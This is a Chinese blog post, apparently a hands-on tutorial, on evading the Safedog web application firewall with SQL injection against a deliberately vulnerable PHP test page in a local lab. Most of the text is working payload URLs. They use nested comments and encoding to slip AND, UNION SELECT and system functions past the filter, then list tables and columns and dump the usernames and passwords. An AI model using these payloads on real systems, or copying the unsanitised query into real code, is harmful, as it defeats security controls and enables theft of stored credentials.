2017/09/03_Bypass_safedog

环境:php+mysql+apche

安全狗:apache版本+8.10规则库

即刻安全

即刻安全纯技术交流群:307283889

如需转载,请练习本博主声明,私自转载必追究

prat 1

本文大致内容

1
2
3
4
5
6
7
8
+ 思路以及想法
- 四重注释绕过safedog
+ 实战绕过
- 绕过and 1=1
- 绕过union+select
- 爆表
- 爆字段
- 读内容

prat 2

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$link = mysqli_connect('localhost','root','root','security');
$sql = "select * from users where id=".$_GET['id'];

$result = mysqli_query($link,$sql);
if($rows = mysqli_fetch_array($result)){
echo $rows['id'];
echo '<br>';
echo $rows['username'];
echo '<br>';
echo $rows['password'];
echo '<br>';
}
mysqli_close($link);
?>

prat 3

绕过 and 1=1

1
url:http://192.168.1.107/sql.php?id=1 and 1=1

image
发现惨遭拦截,首先让我们来看一下他拦截什么,不拦截什么。

1
2
3
4
and        不拦截
and 1 拦截
and 1 = 拦截
and 1 = 1 拦截

由此可见,只要and后面出现数字或者成立一个等式那么他就拦截,那我们用/**/注释来绕过一下看看

1
/**/aNd/**//**/'a'/**/ = /**/'a'/**/

注释包含把1=1替换成‘a’ = ‘a’就得到了url:

1
http://192.168.1.107/sql.php?id=1/**/aNd/**//**/'a'/**/=/**/'b'/**/

image
返回不正常(等式不等)并且发现狗就不拦截了,可见注释方法还是如此任性

Order by

我发现我装的狗是不会拦截order by的,所以也就没绕,有需求在说。
image
字段为3,接下来爆库,当前用户。

绕过union+select

1
url:http://192.168.1.107/sql.php?id=1 UNION SELECT 1,2,3

image
同样,先看一下他拦截什么。

1
2
3
union 不拦截
select 不拦截
union select 拦截

很明显,我们只需要在union与select之间处理一下就可以了。
首先使用/!50000/注释包含/!/然后使用/**/与/–*/打乱一下结构,在稍微进行一下编码处理就可以了

1
url:http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,2,3)/*--*/*/-- -

image
可以发现,已经正常显示数字,并且狗没有拦截。 什么?你说没看懂?那么看下图
image
拆分一下就发现其实很好理解,使用()把select的内容包起来。

爆库

1
http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user(),database())/*--*/*/-- -

image
发现又特么拦截了,很明显,他会拦截一些常用系统函数(还有许多就不列出来了,列出常用的)

1
2
3
4
5
1. version()——MySQL 版本 
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本

既然已经知道了拦截什么,那么绕他还难么,掏出/**/注释大法。
在user(),database()之间处理以下。
那么就成为了

1
2
3
user/**/(/**/)
database/**/(/**/)
完整url:http://192.168.1.107/sql.php?id=-1/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user/**/(/**/),database/**/(/**/))/*--*/*/-- -

image
正常爆出数据库跟当前用户

爆表

发现我本身的狗可能有点问题,他不拦截from,于是也没有绕,还是那句话,需要啥,绕啥。

1
2
3
url:http://192.168.1.107/sql.php?id=-1 
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,table_name)),user/**/(/**/)
from information_schema.tables where table_schema='security')/*--*/*/ limit 0,1-- -

image
得到table

1
2
3
4
emails
referers
uagents
users

爆字段

1
2
3
url:http://192.168.1.107/sql.php?id=-1 
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,column_name)),user/**/(/**/)
from information_schema.columns where table_name='users')/*--*/*/ limit 0,1-- -

image
得到column

1
2
3
id
username
password

读内容

1
2
3
url:http://192.168.1.107/sql.php?id=-1 
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,username,password)),user/**/(/**/)
from users)/*--*/*/ limit 0,1-- -

image
dump

1
Dumb#Dumb